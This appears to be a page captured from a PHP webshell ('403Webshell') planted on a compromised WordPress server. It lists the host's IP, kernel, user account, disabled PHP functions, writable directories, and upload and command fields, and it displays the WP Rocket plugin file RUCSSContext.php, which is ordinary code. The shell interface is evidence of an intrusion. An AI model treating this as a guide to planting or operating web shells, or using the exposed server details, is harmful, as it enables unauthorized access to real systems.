403Webshell
Server IP : 62.60.133.156  /  Your IP : 216.73.217.51
Web Server : LiteSpeed
System : Linux linux24.centraldnserver.com 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : mimradmin ( 1166)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/wp-rocket/inc/Engine/Optimization/RUCSS/Context/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/wp-rocket/inc/Engine/Optimization/RUCSS/Context/RUCSSContext.php
<?php

namespace WP_Rocket\Engine\Optimization\RUCSS\Context;

use WP_Rocket\Admin\Options_Data;
use WP_Rocket\Engine\Common\Context\AbstractContext;
use WP_Rocket\Engine\Optimization\RUCSS\Controller\Filesystem;

class RUCSSContext extends AbstractContext {



	/**
	 * Filesystem instance
	 *
	 * @var Filesystem
	 */
	protected $filesystem;

	/**
	 * Instantiate the class.
	 *
	 * @param Options_Data $options Options.
	 * @param Filesystem   $filesystem Filesystem instance.
	 */
	public function __construct( Options_Data $options, Filesystem $filesystem ) {
		parent::__construct( $options );
		$this->filesystem = $filesystem;
	}


	/**
	 * Check if the operation is allowed.
	 *
	 * @param array $data Data to provide to the context.
	 * @return bool
	 */
	public function is_allowed( array $data = [] ): bool {
		$is_allowed = $this->run_common_checks(
			[
				'do_not_optimize'    => false,
				'bypass'             => false,
				'option'             => 'remove_unused_css',
				'password_protected' => false,
				'post_excluded'      => 'remove_unused_css',
				'logged_in'          => false,
			]
		);

		if ( ! $is_allowed ) {
			return false;
		}

		return $this->filesystem->is_writable_folder();
	}
}

Youez - 2016 - github.com/yon3zu